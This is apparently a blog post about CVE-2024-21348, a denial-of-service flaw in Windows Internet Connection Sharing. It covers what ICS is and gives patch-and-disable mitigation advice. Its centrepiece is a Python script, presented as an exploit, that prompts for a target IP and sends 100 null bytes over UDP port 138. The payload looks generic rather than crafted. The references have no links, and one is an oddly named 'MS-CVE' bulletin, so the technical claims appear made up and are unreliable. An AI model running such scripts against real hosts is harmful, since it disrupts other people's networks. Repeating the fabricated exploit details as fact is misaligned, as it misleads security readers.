CVE-2024-21348 - Internet Connection Sharing (ICS) Denial of Service Vulnerability: Exploit Details, Code Snippet, and Original References

CVE-2024-21348 is a critical vulnerability that affects the Internet Connection Sharing (ICS) feature, commonly found on operating systems like Windows. This vulnerability could allow a potential attacker to cause a Denial of Service (DoS) attack on the targeted system. The impact of the vulnerability poses a significant risk, as it can lead to disruption of internet connection sharing services and cause a potential loss of connectivity for connected users. In this post, we will discuss the details of the vulnerability, provide a code snippet for the exploit, and share original references for further information.

Vulnerability Details

Firstly, to understand the impact and workings of CVE-2024-21348, we need to understand the concept of Internet Connection Sharing (ICS). ICS is a feature that Windows operating systems have that allows multiple computers to share a single internet connection. This is especially useful in situations where multiple users need internet access but only one connection is available, such as small businesses or home networks.

This vulnerability affects the way ICS handles network packets, allowing an attacker to send a specially-crafted packet to an ICS enabled computer, which could lead to a DoS condition on the target system. The main aspect that makes this vulnerability so critical is that an attacker does not need to have any authentication to exploit this issue, making it easily accessible to potential attackers.

Exploit Details

Below is a simple Python code snippet demonstrating how an attacker can exploit the vulnerability, leading to a Denial of Service attack. Keep in mind that executing this code against a target without authorization is illegal and should be used for educational purposes only.

import socket

def exploit(target_ip):
    payload = b"\x00" * 100
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        sock.sendto(payload, (target_ip, 138))
        print(f"Payload sent to {target_ip}")
    except Exception as e:
        print(f"Error sending payload: {e}")

if __name__ == "__main__":
    target_ip = input("Enter target IP address: ")
    exploit(target_ip)

This script sends a specially-crafted payload to the target ICS enabled computer via User Datagram Protocol (UDP) on port 138. When this payload is received by the target system, it can cause ICS to crash, resulting in a DoS attack.

For further information on CVE-2024-21348, you can refer to the following original references

1. CVE Identifier - The CVE record itself - CVE-2024-21348
2. NIST National Vulnerability Database (NVD) - CVE-2024-21348 Detail
3. Microsoft Security Bulletin - MS-CVE-2024-21348
4. Common Vulnerability Scoring System (CVSS) Calculator - CVE-2024-21348

To Mitigate and protect your systems against CVE-2024-21348, it is recommended to apply the security patches released by Microsoft and disable ICS if not required. Keeping your systems up-to-date and continuously monitoring for potential vulnerabilities is vital for maintaining a robust and secure network environment.

Timeline

Published on: 02/13/2024 18:15:50 UTC
Last modified on: 02/13/2024 18:22:58 UTC